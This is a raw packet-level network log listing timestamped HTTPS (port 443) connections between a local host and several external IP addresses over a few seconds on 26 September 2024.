Sep 26, 2024 19:06:25.573689938 CEST	59767	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:25.573698997 CEST	443	59767	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:25.575815916 CEST	59767	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:25.575822115 CEST	443	59767	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:26.338970900 CEST	443	59767	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:26.339044094 CEST	59767	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:26.339071035 CEST	443	59767	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:26.339088917 CEST	443	59767	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:26.339112997 CEST	59767	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:26.339149952 CEST	59767	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:26.339452982 CEST	59767	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:26.339468956 CEST	443	59767	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:26.350789070 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:26.350851059 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:26.350919008 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:26.351372957 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:26.351401091 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:27.321911097 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:27.322021008 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:27.326855898 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:27.326884985 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:27.327229977 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:27.327296019 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:27.327775002 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:27.375396013 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:27.897911072 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:27.897944927 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:27.898056030 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:27.898125887 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:27.898161888 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:27.898185968 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.138698101 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.138715029 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.138890982 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.139374018 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.139456987 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.140609026 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.140700102 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.178682089 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.178863049 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.377726078 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.377876997 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.378215075 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.378292084 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.378943920 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.379025936 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.379821062 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.379898071 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.380717039 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.380795002 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.381571054 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.381648064 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.417367935 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.417526007 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.421493053 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.421695948 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.620511055 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.620625019 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.620810032 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.620889902 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.621799946 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.621854067 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.621922970 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.621952057 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.622004986 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.622880936 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.622953892 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.623526096 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.623595953 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.624159098 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.624242067 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.624806881 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.624880075 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.625382900 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.625453949 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.626156092 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.626235962 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.626863003 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.626934052 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.627418995 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.627490044 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.656814098 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.656934023 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.657260895 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.657335043 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.714217901 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.714344978 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.714592934 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.714665890 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.715249062 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.715322018 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.859464884 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.859642982 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.859950066 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.860064030 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.860624075 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.860727072 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.860941887 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.861016035 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.861726046 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.861795902 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.862282038 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.862318039 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.862350941 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.862379074 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.862407923 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.862430096 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.863149881 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.863224030 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.864036083 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.864082098 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.864104033 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.864115953 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.864142895 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.864164114 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.864876032 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.864938974 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.865243912 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.865309000 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.865746021 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.865816116 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.866435051 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.866475105 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.866497993 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.866508961 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.866539001 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.866580963 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.867297888 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.867367029 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.969346046 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.969538927 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.969654083 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.969722986 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.969737053 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.969760895 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:28.969793081 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.969858885 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.970633984 CEST	59768	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:28.970652103 CEST	443	59768	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:29.105700970 CEST	59769	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:29.105760098 CEST	443	59769	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:29.105834007 CEST	59769	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:29.106201887 CEST	59769	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:29.106215954 CEST	443	59769	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:29.446245909 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:29.446293116 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:29.446371078 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:29.447417974 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:29.447441101 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:29.847642899 CEST	443	59769	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:29.847708941 CEST	59769	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:29.850138903 CEST	59769	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:29.850151062 CEST	443	59769	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:29.852144957 CEST	59769	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:29.852152109 CEST	443	59769	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:29.943152905 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:29.943268061 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:29.944963932 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:29.944993973 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:29.945413113 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:30.000663996 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:30.031948090 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:30.031991959 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:30.032212019 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:30.456317902 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:30.456564903 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:30.456688881 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:30.457046032 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:30.457057953 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:30.457077980 CEST	59770	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:30.457086086 CEST	443	59770	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:30.461019993 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:30.461071014 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:30.461144924 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:30.461663008 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:30.461677074 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:30.797532082 CEST	443	59769	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:30.797627926 CEST	443	59769	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:30.797816038 CEST	59769	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:30.798110008 CEST	59769	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:30.798132896 CEST	443	59769	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:30.799998045 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:30.800029993 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:30.800131083 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:30.800417900 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:30.800427914 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:30.946257114 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:30.946400881 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:30.947822094 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:30.947844028 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:30.948762894 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:30.950217009 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:30.950247049 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:30.950392008 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:31.764444113 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:31.764601946 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:31.765292883 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:31.765302896 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:31.765549898 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:31.765554905 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.331105947 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.331131935 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.331181049 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.331197023 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.331212997 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.331252098 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.566834927 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.566859961 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.567002058 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.567266941 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.567344904 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.568340063 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.568416119 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.608356953 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.608561993 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.802180052 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.802259922 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.802681923 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.802747011 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.803664923 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.803725958 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.804480076 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.804537058 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.805444956 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.805521011 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.805644035 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.805695057 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.843883038 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.844026089 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:32.848608017 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:32.848706007 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.038300037 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.038418055 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.045475960 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.045551062 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.057653904 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.057737112 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.064271927 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.064346075 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.076944113 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.077064991 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.084171057 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.084270000 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.096476078 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.096580982 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.103167057 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.103250027 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.114945889 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.115041971 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.121752977 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.121845961 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.133719921 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.133831978 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.140263081 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.140361071 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.145256042 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.145293951 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.145343065 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.145351887 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.145380974 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.145405054 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.145570993 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.145632029 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.145652056 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.145705938 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.294174910 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.294289112 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.294374943 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.294441938 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.294972897 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.295036077 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.295514107 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.295581102 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.296092987 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.296156883 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.296251059 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.296312094 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.296984911 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.297050953 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.297446012 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.297512054 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.298063040 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.298122883 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.298470974 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.298526049 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.299053907 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.299115896 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.299287081 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.299370050 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.300041914 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.300101995 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.300292969 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.300348997 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.300971031 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.301032066 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.301670074 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.301728964 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.302006960 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.302069902 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.381002903 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.381078959 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.381400108 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.381463051 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.381993055 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.382209063 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.382309914 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.382364988 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.382591963 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.382641077 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.383532047 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.383594036 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.383595943 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.383641005 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.385032892 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.385051012 CEST	443	59772	172.105.54.160	192.168.2.4
Sep 26, 2024 19:06:33.385062933 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.385101080 CEST	59772	443	192.168.2.4	172.105.54.160
Sep 26, 2024 19:06:33.459990978 CEST	59773	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:33.460037947 CEST	443	59773	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:33.460108042 CEST	59773	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:33.460319996 CEST	59773	443	192.168.2.4	5.75.211.162
Sep 26, 2024 19:06:33.460340023 CEST	443	59773	5.75.211.162	192.168.2.4
Sep 26, 2024 19:06:33.887142897 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:33.887512922 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:33.887571096 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:33.913645029 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:33.913662910 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:33.913685083 CEST	59771	443	192.168.2.4	104.21.4.136
Sep 26, 2024 19:06:33.913692951 CEST	443	59771	104.21.4.136	192.168.2.4
Sep 26, 2024 19:06:33.923733950 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:33.923764944 CEST	443	59774	188.114.96.3	192.168.2.4
Sep 26, 2024 19:06:33.923842907 CEST	59774	443	192.168.2.4	188.114.96.3
Sep 26, 2024 19:06:33.924829960 CEST	59774	443	192.168.2.4	188.114.96.3
